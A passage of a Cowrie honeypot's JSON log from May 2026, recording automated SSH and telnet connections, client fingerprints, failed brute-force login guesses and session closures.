16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:04.033667Z","src_ip":"103.27.238.114","session":"21ed98db9059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20102010","message":"login attempt [root/20102010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:04.854339Z","src_ip":"103.27.238.114","session":"21ed98db9059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:06.132221Z","src_ip":"103.27.238.114","session":"21ed98db9059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43366,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec86d220e2c5","protocol":"ssh","message":"New connection: 80.94.92.184:43366 (10.17.0.5:22) [session: ec86d220e2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:06.599968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:06.688190Z","src_ip":"80.94.92.184","session":"ec86d220e2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:06.833348Z","src_ip":"80.94.92.184","session":"ec86d220e2c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:07.747332Z","src_ip":"80.94.92.184","session":"ec86d220e2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:09.046845Z","src_ip":"80.94.92.184","session":"ec86d220e2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":52712,"dst_ip":"10.17.0.5","dst_port":22,"session":"50dd5ca50c69","protocol":"ssh","message":"New connection: 193.37.70.224:52712 (10.17.0.5:22) [session: 50dd5ca50c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:10.784053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:10.788728Z","src_ip":"193.37.70.224","session":"50dd5ca50c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:10.877935Z","src_ip":"193.37.70.224","session":"50dd5ca50c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita12","message":"login attempt [root/nikita12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:11.165886Z","src_ip":"193.37.70.224","session":"50dd5ca50c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:12.259322Z","src_ip":"193.37.70.224","session":"50dd5ca50c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02051067352295,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:31.904408Z","src_ip":"104.248.20.86","session":"6d0c3bda7024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50310,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f14af45021","protocol":"ssh","message":"New connection: 2.57.122.238:50310 (10.17.0.5:22) [session: 75f14af45021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:35.892567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:35.898904Z","src_ip":"2.57.122.238","session":"75f14af45021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:36.006377Z","src_ip":"2.57.122.238","session":"75f14af45021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:36.317203Z","src_ip":"2.57.122.238","session":"75f14af45021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:37.423854Z","src_ip":"2.57.122.238","session":"75f14af45021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":52672,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf5a430d4a8","protocol":"ssh","message":"New connection: 103.149.170.125:52672 (159.203.135.109:22) [session: bcf5a430d4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:57.796655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:57.801624Z","src_ip":"103.149.170.125","session":"bcf5a430d4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:58.077327Z","src_ip":"103.149.170.125","session":"bcf5a430d4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manchester","message":"login attempt [root/manchester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:58.903390Z","src_ip":"103.149.170.125","session":"bcf5a430d4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55315,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6c125de2c68","protocol":"ssh","message":"New connection: 167.172.81.52:55315 (159.203.135.109:22) [session: e6c125de2c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:59.301182Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:59.305918Z","src_ip":"167.172.81.52","session":"e6c125de2c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:12:59.309557Z","src_ip":"167.172.81.52","session":"e6c125de2c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:00.180536Z","src_ip":"103.149.170.125","session":"bcf5a430d4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":40828,"dst_ip":"10.17.0.5","dst_port":22,"session":"02060a2e33ee","protocol":"ssh","message":"New connection: 181.188.176.245:40828 (10.17.0.5:22) [session: 02060a2e33ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:22.938337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:22.943449Z","src_ip":"181.188.176.245","session":"02060a2e33ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"55502c981da1","protocol":"ssh","message":"New connection: 194.113.233.25:51032 (10.17.0.5:22) [session: 55502c981da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:22.967830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:22.972718Z","src_ip":"194.113.233.25","session":"55502c981da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:23.069455Z","src_ip":"194.113.233.25","session":"55502c981da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:23.112564Z","src_ip":"181.188.176.245","session":"02060a2e33ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357753","message":"login attempt [root/357753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:23.349404Z","src_ip":"194.113.233.25","session":"55502c981da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glen123","message":"login attempt [root/glen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:23.821271Z","src_ip":"181.188.176.245","session":"02060a2e33ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:24.444845Z","src_ip":"194.113.233.25","session":"55502c981da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:24.993500Z","src_ip":"181.188.176.245","session":"02060a2e33ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c24ced7629d","protocol":"ssh","message":"New connection: 194.59.206.2:33864 (10.17.0.5:22) [session: 4c24ced7629d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:25.275632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:25.280320Z","src_ip":"194.59.206.2","session":"4c24ced7629d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:25.368010Z","src_ip":"194.59.206.2","session":"4c24ced7629d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:25.456735Z","src_ip":"194.59.206.2","session":"4c24ced7629d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55230,"dst_ip":"10.17.0.5","dst_port":23,"session":"1128677d0827","protocol":"telnet","message":"New connection: 152.42.224.71:55230 (10.17.0.5:23) [session: 1128677d0827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:13:58.068420Z"}
{"eventid":"cowrie.session.closed","duration":26.684422254562378,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:24.752732Z","src_ip":"152.42.224.71","session":"1128677d0827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40808,"dst_ip":"10.17.0.5","dst_port":22,"session":"a72f5a2da80f","protocol":"ssh","message":"New connection: 2.57.122.238:40808 (10.17.0.5:22) [session: a72f5a2da80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:44.645813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:44.650599Z","src_ip":"2.57.122.238","session":"a72f5a2da80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr",